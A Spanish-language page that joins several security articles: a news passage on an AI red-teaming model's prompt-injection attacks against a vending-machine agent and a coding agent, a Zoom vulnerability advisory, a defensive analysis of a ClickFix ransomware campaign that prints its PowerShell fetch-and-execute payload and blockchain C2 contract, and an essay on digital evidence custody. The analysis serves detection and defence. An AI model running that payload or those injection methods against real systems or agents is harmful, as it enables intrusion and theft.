Esto también significa que a medida que los modelos defensores se vuelvan más robustos, el modelo de equipo rojo tendrá que volver a la mesa de dibujo para descubrir métodos de ataque más potentes y diversos para derrotar esas barreras. Específicamente, se ha descubierto que GPT-Red genera ataques exitosos contra GPT-5.1 en más escenarios que los equipos rojos humanos cuando se trata de inyecciones rápidas indirectas.
OpenAI además destacó que GPT-Red se mantiene separado de los otros modelos para que las capacidades maliciosas incorporadas no lleguen a los malos actores que buscan constantemente varias formas de eludir las medidas éticas y de seguridad de un modelo.
En una prueba del mundo real, OpenAI apuntó GPT-Red a una máquina expendedora basada en IA construida por Andon Labs. Después de practicar en simulación, el modelo apuntó al agente autónomo y cumplió sus tres objetivos: reducir el precio de un artículo caro al precio mínimo permitido de 0,50 dólares, pedir un nuevo artículo de 100 dólares por esa misma cantidad y cancelar el pedido de otro cliente. Tras una divulgación responsable, se están probando nuevas salvaguardias, añadió.
Un segundo estudio de caso involucró el uso de GPT-Red para atacar a un agente de línea de comandos del Codex, basado en GPT-5.4 mini, en 10 tareas de exfiltración de datos retenidas, lo que provocó que se transmitieran datos confidenciales en más casos que una línea de base solicitada por GPT-5.5.
Una versión inicial del modelo también ha descubierto una nueva clase de ataques de inyección rápida directa conocidos como ataques de cadena de pensamiento (CoT) falsos, que lograron tasas de éxito superiores al 95 % en GPT-5.1, pero ahora están por debajo del 10 % para GPT-5.6 Sol.
«De manera similar, varios de nuestros puntos de referencia de inyección rápida indirecta que apuntan a ataques en herramientas de desarrollo y navegación han sido saturados por nuestro último modelo (>97% de precisión)», dijo OpenAI.
«La robustez del propio GPT-Red también ha mejorado sustancialmente. En un amplio conjunto de entornos de robustez, las tasas de éxito de los ataques de GPT-Red han disminuido monótonamente con el tiempo. Con el lanzamiento de nuestro último modelo, GPT-5.6 Sol falla en solo el 0,05% de las inyecciones directas de GPT-Red».
La divulgación se produce cuando la empresa dicho una auditoría de SWE-Bench Pro encontró que alrededor del 30% de las tareas están rotas, retractándose de su recomendación anterior de adoptar la punto de referencia para medir las capacidades de codificación de fronteras. A principios de febrero, OpenAI dicho se estaba alejando de SWE-bench Verificado debido a problemas fundamentales de diseño y contaminación.
«Encontramos evidencia de problemas críticos en una parte significativa del conjunto de datos», dijo OpenAI. «Nuestro proceso de análisis de puntos de datos detectó 200 (27,4%) tareas fallidas, mientras que la campaña de anotación humana identificó 249 (34,1%). En última instancia, una evaluación debe proporcionar una señal significativa a través de puntos de referencia que sean difíciles de jugar, fáciles de confiar y que reflejen genuinamente la capacidad o alineación del modelo».
Zoom ha publicado actualizaciones de seguridad para una falla de seguridad crítica que afecta a Zoom Workplace para Windows y que podría facilitar la apropiación de cuentas.
La vulnerabilidad, rastreada como CVE-2026-53412 (Puntuación CVSS: 9,8), afecta a Zoom Desktop Client para Windows, Zoom VDI Client para Windows y Zoom Meeting SDK para Windows.
«La validación de entrada incorrecta en Zoom Desktop Client para Windows, Zoom VDI Client para Windows y Zoom Meeting SDK para Windows puede permitir que un usuario no autenticado realice una apropiación de cuenta a través del acceso a la red», Zoom dicho en un aviso publicado esta semana.
Las últimas correcciones de seguridad también abordan tres fallas de alta gravedad:
CVE-2026-53411 (Puntuación CVSS: 7,8): una vulnerabilidad de validación de entrada incorrecta en el complemento VDI de Zoom Workplace para Windows anterior a la versión 6.6.14 que puede permitir a un usuario autenticado realizar una escalada de privilegios a través del acceso local.
CVE-2026-53410 (Puntuación CVSS: 7.0): una vulnerabilidad de condición de carrera de tiempo de verificación a tiempo de uso (TOCTOU) en el proceso de instalación y desinstalación de ciertos clientes Zoom para Windows que podría permitir que un usuario local autenticado escale privilegios.
CVE-2026-53409 (Puntuación CVSS: 7,8): una vulnerabilidad de gestión de privilegios inadecuada en Zoom Rooms para Windows anterior a la versión 7.1.0 que puede permitir a un usuario autenticado realizar una escalada de privilegios a través del acceso local.
Vale la pena señalar que CVE-2026-53410 afecta a los siguientes productos:
Zoom Workplace para Windows antes de la versión 7.0.5
Cliente Zoom Workplace VDI para Windows anteriores a 6.5.17 y 6.6.14 en sus respectivas ramas
Complemento Zoom Workplace VDI para Windows anteriores a 6.5.17 y 6.6.14 en sus respectivas ramas
Zoom Rooms para Windows anteriores a 7.0.5
Control remoto para Zoom Contact Center para Windows anterior a la versión 7.0.0
Al momento de escribir este artículo, no hay indicios de que alguna de las fallas esté siendo explotada en ataques del mundo real. Los usuarios pueden mantenerse protegidos aplicando las últimas actualizaciones.
CIBER-TEC, En este artículo analizaremos una campaña, documentada por Unit 42, que industrializa la convergencia de tres mundos que hasta hace poco operaban por separado: la ingeniería social de ClickFix (inducir a la víctima a ejecutar un comando desde su propio equipo), un kit de malware como servicio (MaaS) llamado JokerStat con paneles de operador y soporte por Telegram, y una capa de comando y control resuelta en la blockchain de Polygon mediante la técnica EtherHiding. La cadena termina en staging previo a ransomware: robo de credenciales de LSASS, enumeración de Active Directory y auto-replicación. La actividad se solapa con operaciones atribuidas a Rapid Brigantine (Vanilla Tempest).
Tesis del artículo: esta operación no introduce una técnica inédita; ensambla varias con lógica de producto. La consecuencia defensiva es que las listas de bloqueo y el escaneo de archivos llegan tarde por diseño. El control efectivo se desplaza al eslabón humano, al egress y a la lectura del propio contrato en la cadena de bloques.
1. El contexto y la anatomía de la cadena
Lo relevante de esta campaña no es ninguna técnica aislada, sino cómo se ensamblan. Es un caso de estudio del modelo compartimentado que gobierna el ecosistema de ransomware actual, donde el acceso, la plataforma de entrega y la post-explotación son servicios independientes que se acoplan por transacción.
La secuencia completa recorre seis etapas. Un usuario llega a un sitio comprometido que le muestra una falsa verificación de seguridad; siguiendo las instrucciones, pega y ejecuta un comando de PowerShell que arranca toda la cadena. El payload viaja oculto en una imagen y se ejecuta en memoria sobre un proceso firmado y confiable. El malware pregunta a un contrato en la blockchain de Polygon cuál es su servidor de mando y control vigente, se conecta, persiste y comienza a preparar el terreno para el cifrado.
2. ¿Qué es ClickFix? Mecánica y por qué funciona
ClickFix es una técnica de acceso inicial que invierte la carga de la ejecución: en lugar de que el atacante entregue y detone un binario, es la propia víctima quien ejecuta el código malicioso en su equipo, convencida de que realiza un paso de verificación legítimo. El patrón se popularizó a mediados de 2024 y hoy es uno de los vectores de entrada de mayor crecimiento porque elude, de raíz, las defensas centradas en la descarga de archivos.
El mecanismo se apoya en tres piezas. Primero, un señuelo que imita una pantalla familiar y confiable —un desafío de Cloudflare, una actualización del navegador, un error de reproducción de video—. Segundo, la inyección silenciosa en el portapapeles: mediante JavaScript, la página coloca un comando en el portapapeles del usuario sin que este lo perciba. Tercero, unas instrucciones guiadas que llevan a la víctima a abrir una consola con privilegios y pegar el comando. En la campaña analizada, el señuelo instruye la secuencia Win+X, elegir Terminal, Ctrl+V y Enter.
El comando del portapapeles y el polimorfismo sintáctico
El comando pegado sigue un patrón reconocible: fija el protocolo de seguridad a TLS 1.2 y a continuación invoca iex(irm 'https:///dl/p/'), es decir, descarga la siguiente etapa del payload (el siguiente “stage”) desde un dominio de C2 y lo ejecuta en memoria. El detalle interesante para la ingeniería de detección es que el kit no emite un único comando, sino cinco variantes sintácticas equivalentes: enumeración explícita del protocolo, forma numérica abreviada (3072 equivale a TLS 1.2), banderas abreviadas (-ubp en lugar de -UseBasicParsing), sintaxis con operador de tubería (por ejemplo, 'https:///dl/p/' | iex en lugar de iex(irm ...)), y uso de la cadena de texto 'Tls12' en lugar del valor numérico para fijar el protocolo. Todas producen el mismo efecto, pero cambian la huella textual para degradar las reglas basadas en firmas estáticas. A esto se suma la rotación de los dominios de C2 y el uso de rutas con identificadores UUID por víctima.
¿Por qué funciona tan bien? Porque desplaza el punto de decisión desde la máquina hacia la persona y desde el archivo hacia una acción manual. No hay descarga que un navegador pueda bloquear ni adjunto que un gateway pueda detonar en sandbox; hay un ser humano copiando texto. Además, la ejecución interactiva en PowerShell deja una traza forense muy concreta —la clave de registro RunMRU— que, paradójicamente, es también una de las mejores oportunidades de detección.
3. El actor y la estructura de afiliados (JokerStat MaaS)
Detrás de la campaña no hay un actor monolítico, sino una cadena de suministro del cibercrimen. Conviene separar los roles porque cada uno se comercializa por separado y esa separación es, en sí misma, un rasgo defensivamente relevante.
La plataforma: JokerStat como kit MaaS
El elemento articulador de esta operación es JokerStat, un kit de malware como servicio. La evidencia es contundente: los quince dominios de C2 identificados sirven exactamente el mismo clon —una falsa página de acceso a un panel de analítica llamado JokerStat— y ofrecen incluso un canal de soporte por Telegram (@jokerstat_support) para los operadores que adquieren el kit. El propio código delata la marca: la variable de guarda que evita ejecuciones concurrentes de la captura de pantalla se llama __jks_screen_run_ (jks por JokerStat).
Este es el patrón del MaaS moderno, ya documentado en kits como Odyssey: un operador desarrolla y mantiene la plataforma —los paneles, la infraestructura de resolución, las páginas señuelo— y la alquila a afiliados que ejecutan las campañas. La consecuencia operativa es doble. Por un lado, homogeneiza los artefactos: el mismo clon y las mismas rutas aparecen en infraestructura distinta, lo que facilita el pivote y la caza para el defensor. Por el otro, desacopla la atribución: quien despliega el señuelo no es necesariamente quien desarrolla el kit ni quien ejecuta el ransomware final.
La post-explotación: solapamiento con Rapid Brigantine
La actividad posterior a la ejecución refleja de cerca operaciones atribuidas a Rapid Brigantine, un actor también conocido como Vanilla Tempest, DEV-0832, Vice Society y VICE SPIDER, activo desde al menos 2022 y asociado a familias de ransomware como Rhysida, BlackCat, Zeppelin y Quantum Locker. La formulación correcta es solapamiento conductual, no atribución concluyente: los TTP coinciden, pero en un modelo de afiliados el mismo conjunto de técnicas puede ser operado por manos distintas. Mantener esa cautela analítica es parte del rigor del informe, no una debilidad de este.
4. Blockchain en la cadena de ataque: EtherHiding sobre Polygon
Este es el corazón técnico de la operación y lo que la separa del ClickFix genérico. En lugar de codificar el servidor de C2 en el malware —donde sería un indicador fijo y bloqueable— el implante lo consulta en tiempo real a un contrato inteligente en la blockchain de Polygon. La técnica se conoce como EtherHiding.
Qué es EtherHiding y de dónde viene
EtherHiding fue documentada por primera vez por Guardio Labs en octubre de 2023, en el marco de la campaña ClearFake, y desde entonces la han adoptado actores cada vez más capaces, incluido un clúster norcoreano descrito por Google (Mandiant/GTIG) en octubre de 2025. La idea es tomar prestado un concepto del espionaje clásico —el resolutor de punto muerto o dead-drop resolver— y llevarlo a la cadena de bloques: en vez de conectarse directamente al C2, el malware primero consulta una fuente pública y legítima para averiguar cuál es el C2 vigente. Cuando esa fuente es un contrato inteligente, hereda todas las propiedades de la blockchain: es inmutable, está replicada globalmente y cualquiera puede leerla, incluido el malware.
Cómo funciona en esta campaña, paso a paso
El código de resolución implementa una función getServers() que itera una lista de ocho endpoints RPC públicos de Polygon —drpc.org, publicnode, 1rpc.io, QuickNode, OnFinality, Pocket Network, entre otros— y contra cada uno emite una llamada eth_call. Esa llamada invoca el método identificado por el selector 0x3bc5de30 sobre el contrato 0xf5966808a9ECbdb8794F568922809C52b0Fd2446. El contrato devuelve, codificada en su estado, la lista de dominios de C2 activos.
Tres decisiones de diseño merecen atención. La redundancia de endpoints —ocho RPC distintos— garantiza que bloquear uno o dos proveedores no interrumpa la resolución. El uso de eth_call, que es una llamada de solo lectura, significa que no se consume gas ni se genera una transacción: la consulta es gratuita, no deja rastro en el historial de transacciones del contrato y, sobre el cable, es indistinguible de la interacción de cualquier aplicación descentralizada legítima. Y la rotación se vuelve trivial para el atacante: con una sola transacción que reescribe el estado del contrato, cambia el C2 de toda la botnet simultáneamente.
Por qué importa: resiliencia frente a auditabilidad
El C2 on-chain invierte una premisa básica de los takedowns. El comando y control tradicional tiene un centro incautable —un dominio, una IP, un servidor—. Aquí no lo hay: el punto de resolución vive en un contrato inmutable que no admite sinkholing ni puede darse de baja. Para el defensor, esto significa que perseguir los dominios resueltos es una carrera perdida, porque son efímeros y se reemplazan con una transacción.
Este patrón no es teórico ni marginal. En abril de 2026, The DFIR Report documentó una intrusión en la que un malware que resolvía su C2 desde contratos —EtherRAT— derivó, a través de un framework de C2, en el despliegue del ransomware The Gentlemen. La clase de infraestructura que aquí se analiza es la misma que termina en cifrado a escala empresarial.
El arma de doble filo. La misma inmutabilidad que protege al atacante lo expone. El estado del contrato es público, permanente y con marca de tiempo. Leer el historial de escrituras del contrato enumera todos los dominios de C2 que han estado activos y revela el ritmo de operación del actor. La lectura correcta es contraintuitiva: el dominio resuelto es el indicador más débil y la dirección del contrato es el indicador más fuerte y perdurable. Ese es el pivote de detección y atribución que el atacante no puede borrar.
5. Técnicas de evasión
Más allá del C2 en blockchain, la operación acumula varias capas de evasión que conviene entender por separado, porque cada una anula una familia distinta de controles.
Esteganografía en PNG y ejecución en memoria con Donut
El payload no viaja en claro: se oculta dentro de los datos de píxel de una imagen PNG. Un loader .NET reconstruye desde esos píxeles un shellcode empaquetado con Donut —un framework legítimo de red team que convierte ejecutables .NET o PE en shellcode de posición independiente— y lo ejecuta directamente en memoria. En disco solo queda una imagen estadísticamente normal, lo que anula el escaneo estático de archivos.
DLL sideloading sobre binario firmado
El proceso que ejecuta el shellcode es un binario de Microsoft legítimamente firmado, al que se le hace cargar una DLL maliciosa por sideloading. El resultado es que la actividad hereda la reputación del binario firmado: la telemetría deja de decir “binario desconocido” y pasa a decir “carga de módulo en un proceso confiable”, un evento mucho más difícil de priorizar para un EDR basado en reputación.
Exfiltración de pantalla y reinyección dinámica del portapapeles
El kit incluye dos capacidades adicionales. La primera es la exfiltración de capturas de pantalla: usando html2canvas, el implante renderiza la página visible, la serializa como JPEG en base64 y la envía por POST al endpoint /collect/screen del C2, repitiéndolo cada 120 segundos. La segunda es la inyección dinámica del portapapeles: el implante consulta el endpoint /cload —parametrizado con un identificador, el sistema operativo y el hostname de la víctima— y ejecuta como script el contenido devuelto, que a su vez reescribe el portapapeles. Esto permite al operador cambiar el comando ClickFix servido a cada víctima sin tocar la página, de forma segmentada y en caliente.
Polimorfismo, rotación y persistencia resistente al aislamiento
A las anteriores se suman el polimorfismo sintáctico del payload (las cinco variantes ya descritas), la rotación de quince dominios de C2 registrados con poca antelación, y un rasgo especialmente incómodo para la respuesta a incidentes: en al menos un caso documentado, la persistencia siguió relanzándose durante horas después de aislar el host en red. El aislamiento del EDR no cortó el mecanismo de relanzamiento local, lo que obliga a tratar el aislamiento como contención temporal y no como erradicación.
6. Post-explotación y staging pre-ransomware
La fase final es un manual de preparación de impacto. Se observa volcado de credenciales desde el proceso LSASS, enumeración por LDAP de administradores de dominio y de equipos, y auto-replicación del código en directorios con nombres aleatorizados. Ese trío —robo de credenciales, mapeo de Active Directory y propagación— no corresponde a un infostealer que exfiltra y se marcha, sino al reconocimiento de dominio con intención de movimiento lateral y despliegue masivo de cifrado. Es, en términos prácticos, la antesala del ransomware, y es también la última ventana de detección limpia antes del cifrado.
7. Indicadores de compromiso (IoC)
Los siguientes indicadores provienen de la investigación de Unit 42 y de la evidencia analizada. Deben verificarse contra su vigencia antes de operacionalizarlos, dada la rotación descrita; el indicador más perdurable no es ningún dominio, sino la dirección del contrato.
__jks_screen_run_ (variable de guarda; marca del kit JokerStat)
Soporte del kit
Telegram @jokerstat_support
Payload PowerShell
iex(irm 'https:///dl/p/' -UseBasicParsing)
8. Mapeo a MITRE ATT&CK
Táctica
Técnica
Aplicación
Initial Access
T1189 Drive-by Compromise
Falsa actualización SocGholish en WordPress comprometido
Execution
T1204.004 · T1059.001
ClickFix → PowerShell ejecutado por la víctima
Defense Evasion
T1027.003 Steganography
Shellcode Donut oculto en píxeles de un PNG
Defense Evasion
T1574.002 DLL Side-Loading
Binario Microsoft firmado carga una DLL maliciosa
Defense Evasion
T1055 Process Injection
Ejecución del shellcode en memoria
Command & Control
T1102 · T1568 (EtherHiding)
Contrato en Polygon como dead-drop resolver + dominios rotatorios
Collection
T1113 Screen Capture
Exfiltración de pantalla con html2canvas cada 120 s
Collection / Exec
T1115 Clipboard Data
Inyección y reescritura dinámica del portapapeles
Credential Access
T1003.001 LSASS Memory
Volcado de credenciales del proceso LSASS
Discovery
T1018 · T1069 (LDAP)
Enumeración de administradores de dominio y equipos
Impact (staging)
T1486 (preparación)
Auto-replicación y preparación del cifrado
9. Recomendaciones de protección
Las contramedidas se ordenan por dominio de control y por su resistencia frente a la evasión específica de esta cadena. El criterio rector es concreto: cada medida ataca un eslabón identificado y se explica por qué funciona, evitando la recomendación genérica.
C1 — Cortar el eslabón humano en el endpoint
Es la medida de mayor impacto y menor fricción, porque toda la cadena depende de que un usuario ejecute PowerShell interactivo. Restringir o auditar el diálogo Ejecutar y el acceso a la Terminal para cuentas estándar mediante GPO; desplegar reglas ASR de Microsoft Defender que bloqueen la creación de procesos hijos desde el navegador y la ejecución de contenido ofuscado; y habilitar el registro de PowerShell (ScriptBlock y Module Logging) junto con Constrained Language Mode. Si la ejecución interactiva está gobernada por política, la cadena se rompe en su primer eslabón.
C2 — Gobernar el egress y vigilar la resolución en blockchain
La lección de EtherHiding es que bloquear dominios es insuficiente por diseño. La contramedida realista tiene dos frentes. En el egress: proxy con inspección y bloqueo de tráfico RPC/Web3 no autorizado hacia nodos de blockchain (Polygon, BSC, Ethereum) desde procesos que no son navegadores ni carteras legítimas; y filtrado de dominios de registro muy reciente (NRD). En inteligencia on-chain: incorporar la dirección del contrato como indicador de vigilancia y leer periódicamente su historial de estado para enumerar los C2 vigentes e históricos, convirtiendo la inmutabilidad del atacante en telemetría propia.
C3 — Endurecer el endpoint contra la evasión en memoria
Frente a la ejecución en memoria y al sideloading sobre binarios firmados, la firma de fichero deja de bastar: el EDR debe apoyarse en protección conductual y detección de inyección en memoria, no solo en reputación. Para el robo de credenciales, activar la protección de LSASS (RunAsPPL / LSA Protection), Credential Guard donde el hardware lo permita, y la regla ASR que bloquea el volcado de credenciales desde LSASS.
C4 — Redefinir la contención en respuesta a incidentes
Dado que la persistencia sobrevivió al aislamiento, la contención de red debe acompañarse de una erradicación local verificada: enumeración de tareas programadas, claves Run/RunOnce, servicios y watchdogs antes de declarar contenido el host. Se asume persistencia redundante y se trata el aislamiento como medida temporal, no como estado final del incidente.
C5 — Cazar la actividad post-explotación como red de seguridad
Si la evasión temprana tuvo éxito, la fase de reconocimiento de dominio es la última oportunidad limpia antes del cifrado. Monitorear accesos anómalos a lsass.exe, ráfagas de consultas LDAP enumerando grupos privilegiados y objetos de tipo equipo, y creación de archivos replicados en directorios aleatorizados. Son señales que la esteganografía y el C2 en blockchain no pueden ocultar.
10. Detección e ingeniería de cacería
La detección de mayor valor es la del acto ClickFix en sí, porque es el eslabón que la víctima no puede ocultar. Windows registra los comandos ejecutados desde el diálogo Ejecutar en la clave RunMRU, lo que permite parsear entradas en busca de uso sospechoso. Las siguientes consultas son puntos de partida —no reglas de producción— para orientar la cacería.
// PowerShell / mshta / rundll32 lanzados por el navegador o Explorer
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("explorer.exe","chrome.exe","msedge.exe")
| where FileName in~ ("powershell.exe","mshta.exe","rundll32.exe")
| where ProcessCommandLine has_any ("irm","iex","-enc","-ubp","UseBasicParsing","3072")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
KQL · Egress hacia RPC de blockchain desde procesos no-navegador
// Conexiones a nodos RPC (Polygon/BSC/Ethereum) fuera de navegadores y wallets
DeviceNetworkEvents
| where RemoteUrl has_any ("drpc.org","publicnode.com","1rpc.io","quiknode.pro",
"onfinality.io","pocket.network","rpc.polygon")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl
KQL · Acceso sospechoso a LSASS
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","wmiprvse.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath
Como complemento, tres señales de alto rendimiento cierran el espectro: binarios firmados de Microsoft que cargan DLLs desde rutas de usuario no estándar (%APPDATA%, %TEMP%, directorios aleatorizados); tráfico saliente periódico y regular hacia el endpoint /collect/screen o patrones POST con cuerpos JPEG en base64; y el monitoreo directo, en un explorador de bloques, de la dirección del contrato para alertar sobre cada nueva escritura de estado —es decir, sobre cada rotación de C2 en el momento en que ocurre.
Esta operación no destaca por inventar, sino por integrar con criterio de producto. Ensambla ingeniería social de portapapeles, un kit MaaS con paneles y soporte, evasión en memoria y un C2 en blockchain, y lo orquesta hacia un único fin: el cifrado. Su significado para la postura de riesgo institucional es que consolida un patrón donde la entrega es barata y comoditizada, la evasión es de grado ofensivo y la infraestructura de control resiste los takedowns. Una defensa organizada por firmas y listas de bloqueo llega, estructuralmente, tarde.
La respuesta correcta no es acumular herramientas, sino reordenar los controles alrededor de tres verdades que esta cadena deja expuestas. El eslabón más frágil del atacante es la ejecución humana del comando, y ahí conviene concentrar la fricción. La resolución del C2 vive fuera de la infraestructura incautable, de modo que el egress y la lectura del propio contrato se convierten en el punto de control real. Y la contención por aislamiento es una ilusión si no se acompaña de erradicación local verificada. El defensor que internalice esas tres ideas no necesita anticipar cada variante futura: le basta con cerrar las condiciones que todas comparten. La misma inmutabilidad que hace invencible el C2 del atacante es, leída al revés, el registro público que lo delata.
Fuentes y referencias
Unit 42, Palo Alto Networks — ClickFix campaign utilizing MaaS kit with Blockchain C2 (Timely Threat Intelligence, 2026-07-02).
Unit 42, Palo Alto Networks — Fix the Click: Preventing the ClickFix Attack Vector.
Unit 42, Palo Alto Networks — The ClickFix Factory: First Exposure of IUAM ClickFix Generator (modelo MaaS/afiliados; Odyssey).
Unit 42, Palo Alto Networks — 2026 Global Incident Response Report (ClickFix, ejecución en memoria, cadena hacia ransomware).
Por Luisa Fernanda Barragán Ávila — Abogada · Magíster en Derecho Digital
Hace algunos meses acompañé un proceso penal en el que la defensa logró excluir un dictamen pericial digital que, técnicamente, era impecable. El análisis era correcto. Las conclusiones eran válidas. Pero la forma en que se recolectó la información en campo dejó una grieta que cualquier abogado con experiencia podía explotar.
El juez lo sabía. La fiscalía lo sabía. Y, tristemente, lo supieron demasiado tarde.
Ese proceso me llevó a reflexionar sobre una pregunta que debería ser obligatoria en cualquier curso de investigación criminal, pero que rara vez se hace con la profundidad que merece: ¿puede una evidencia digital ser técnicamente correcta y jurídicamente inadmisible al mismo tiempo?
La respuesta es sí. Y con más frecuencia de lo que los equipos de investigación quisieran admitir.
La cadena de custodia digital no empieza en el laboratorio
Uno de los errores más comunes que observo en la práctica —y lo digo con el respeto que merecen los investigadores que trabajan bajo presión y con recursos limitados— es creer que la cadena de custodia digital empieza cuando la evidencia llega al laboratorio forense.
No. Empieza en el momento exacto en que se toca por primera vez el dispositivo, el sistema o, en el caso de la telefonía móvil, en el momento en que se hace el primer registro de actividad en campo.
El artículo 275 del Código de Procedimiento Penal colombiano (Ley 906 de 2004) reconoce los mensajes de datos como elemento material probatorio. Pero ese reconocimiento no opera en el vacío: la evidencia electrónica tiene que haber sido recolectada, etiquetada, preservada y transportada siguiendo procedimientos que garanticen que lo que se presenta ante el juez es lo mismo, sin alteración, que lo que existía en el momento de los hechos.
Ese principio tiene nombre en el mundo del derecho anglosajón —del que bebemos mucho en el sistema acusatorio— y en Colombia lo aplicamos a través de lo que llamamos el principio de mismidad.
El principio de mismidad: el argumento que la defensa siempre intentará tumbar
El principio de mismidad de la evidencia exige que el elemento probatorio presentado al juez sea idéntico al que se recolectó en la escena. Cualquier diferencia, por mínima que sea, puede ser utilizada por la defensa para solicitar la exclusión de la prueba por violación al debido proceso probatorio.
¿Cómo se garantiza la mismidad en evidencia digital? A través de los valores hash criptográficos.
Un hash es una huella digital matemática de un archivo o conjunto de datos. El estándar más ampliamente utilizado en forensia digital es el SHA-256. Funciona así: en el momento de la recolección, el sistema genera automáticamente un código alfanumérico único para los datos capturados. Si un solo bit de esa información cambia —por error, por manipulación o por cualquier otra causa— el hash cambia completamente. Y si el hash que se presenta en el juicio no coincide con el hash que se registró en campo, la defensa tiene un argumento sólido para cuestionar la integridad de la evidencia.
Aquí está el problema práctico: si la herramienta con la que se recolectó la información no genera hash automático en el momento de la captura, la cadena de custodia tiene un hueco que ningún informe pericial posterior puede cerrar.
¿Qué dice la norma internacional?
La comunidad internacional de forensia digital no dejó esto al azar. La norma ISO/IEC 27037:2012 —que en Colombia se aplica como referente técnico en procesos de investigación criminal con componente digital— establece directrices específicas para la identificación, recolección, adquisición y preservación de evidencia digital. Su punto de partida es claro: la evidencia digital debe ser manejada de manera que se preserve su integridad, su autenticidad y su confiabilidad desde el momento de su identificación hasta su presentación ante la autoridad competente.
Complementariamente, la RFC 3227 —guía de mejores prácticas del IETF para la recolección y archivo de evidencia digital— establece el orden de volatilidad que debe guiar la recolección y enfatiza que el procedimiento debe ser documentado de forma que pueda ser auditado y reproducido.
Ninguna de estas normas es de cumplimiento obligatorio en Colombia mediante ley. Pero en el escenario del contrainterrogatorio, cuando un experto de la defensa pregunta al investigador de campo “¿bajo qué norma técnica fue recolectada esta información?”, la incapacidad de responder con precisión siembra duda. Y en el sistema acusatorio, la duda trabaja para la defensa.
El escenario de la telefonía móvil: un caso especialmente crítico
Quiero detenerme en el contexto específico de la investigación basada en telefonía celular, porque es donde he visto las inconsistencias más frecuentes y las más costosas en términos procesales.
Cuando un fiscal necesita demostrar que una persona estuvo en determinado lugar a determinada hora, uno de los caminos más utilizados es el análisis de los Registros Detallados de Llamadas (CDRs) suministrados por los operadores celulares. Pero ese análisis requiere un paso previo que muchos dan por sentado sin ejecutarlo correctamente: el inventario forense de las estaciones base (BTS) que dan cobertura en el área de los hechos.
¿Por qué es crítico ese inventario? Porque los CDRs no identifican una ubicación geográfica exacta por sí solos. Identifican la antena a la que se conectó el dispositivo. Si no existe un inventario riguroso y documentado de qué antenas estaban activas, en qué frecuencias y bajo qué tecnología (2G, 3G, 4G, 5G) en el momento de los hechos, el análisis de los CDRs pierde precisión y, peor aún, pierde credibilidad frente al juez.
Ahora bien: ¿cómo se hace ese inventario correctamente?
En primer lugar, debe hacerse en el sitio, porque las condiciones de cobertura varían según el entorno físico. No es lo mismo hacer el inventario desde una oficina con la base de datos de un operador que hacerlo en campo con dispositivos que recreen las condiciones reales de conectividad del momento de los hechos.
En segundo lugar, los datos del inventario deben registrarse con todos los parámetros técnicos identificadores: MCC, MNC, LAC/TAC, CID, NODE, banda de frecuencia, tipo de tecnología, coordenadas geográficas, operador, entre otros según la tecnología (2G, 3G, 4G y 5G). La omisión de cualquiera de estos parámetros puede ser utilizada para cuestionar la correspondencia entre las antenas inventariadas y las antenas que aparecen en los CDRs.
En tercer lugar —y aquí regresamos al punto del principio de mismidad— esa información debe quedar sellada con un hash criptográfico desde el momento de su captura, de forma que no sea posible modificarla posteriormente sin que el sistema lo detecte.
La pregunta que el juez hará y que la investigación debe poder responder
En mi experiencia acompañando procesos, hay una pregunta que aparece con una frecuencia inquietante en las audiencias preparatorias y de juicio oral cuando se discute evidencia de telefonía: “¿Cómo garantiza usted que la información que presenta hoy es exactamente la misma que fue recolectada en campo, sin modificación alguna?”
Si el investigador puede responder: “Señoría, el sistema generó un hash SHA-256 en el momento de la captura. El hash del archivo original y el hash del archivo que estoy presentando son idénticos, y así consta en el informe de campo”, la cadena de custodia digital está blindada.
Si la respuesta es: “Los datos fueron recolectados manualmente y exportados a una hoja de cálculo”, la puerta está abierta.
La diferencia entre una respuesta y otra no depende solo del investigador. Depende de la herramienta que utiliza.
Una reflexión final sobre la responsabilidad institucional
Esta no es solo una discusión técnica. Es una discusión sobre la efectividad del sistema de justicia.
Cuando una evidencia legítima es excluida por un defecto de procedimiento en la recolección, no pierde solo la fiscalía. Pierde la víctima, que ve cómo un proceso válido se cae por razones que poco tienen que ver con la verdad de los hechos. Y pierde la institución, que invirtió tiempo, recursos humanos y presupuesto en una investigación que no pudo llegar a buen término.
Las entidades de policía judicial y las fiscalías tienen la responsabilidad —y en muchos casos ya tienen la conciencia— de dotar a sus investigadores de herramientas que no solo funcionen, sino que funcionen conforme a los estándares que el proceso penal exige. Eso incluye la generación automática de hashes, la documentación estructurada de parámetros técnicos, la producción del informe de campo en formatos reconocidos por el sistema (como el FPJ-11), y la trazabilidad completa desde el momento de la captura.
No es un lujo investigativo. Es el piso mínimo de una investigación que puede sostenerse ante un juez.
La conversación sobre estándares en forensia de campo es urgente y debe darse entre quienes investigan, quienes acusan, quienes defienden y quienes juzgan.
Luisa Fernanda Barragán Ávila Abogada · Magíster en Derecho Digital
Por Luisa Fernanda Barragán Ávila — Abogada · Magíster en Derecho Digital
Hace algunos meses acompañé un proceso penal en el que la defensa logró excluir un dictamen pericial digital que, técnicamente, era impecable. El análisis era correcto. Las conclusiones eran válidas. Pero la forma en que se recolectó la información en campo dejó una grieta que cualquier abogado con experiencia podía explotar.
El juez lo sabía. La fiscalía lo sabía. Y, tristemente, lo supieron demasiado tarde.
Ese proceso me llevó a reflexionar sobre una pregunta que debería ser obligatoria en cualquier curso de investigación criminal, pero que rara vez se hace con la profundidad que merece: ¿puede una evidencia digital ser técnicamente correcta y jurídicamente inadmisible al mismo tiempo?
La respuesta es sí. Y con más frecuencia de lo que los equipos de investigación quisieran admitir.
La cadena de custodia digital no empieza en el laboratorio
Uno de los errores más comunes que observo en la práctica —y lo digo con el respeto que merecen los investigadores que trabajan bajo presión y con recursos limitados— es creer que la cadena de custodia digital empieza cuando la evidencia llega al laboratorio forense.
No. Empieza en el momento exacto en que se toca por primera vez el dispositivo, el sistema o, en el caso de la telefonía móvil, en el momento en que se hace el primer registro de actividad en campo.
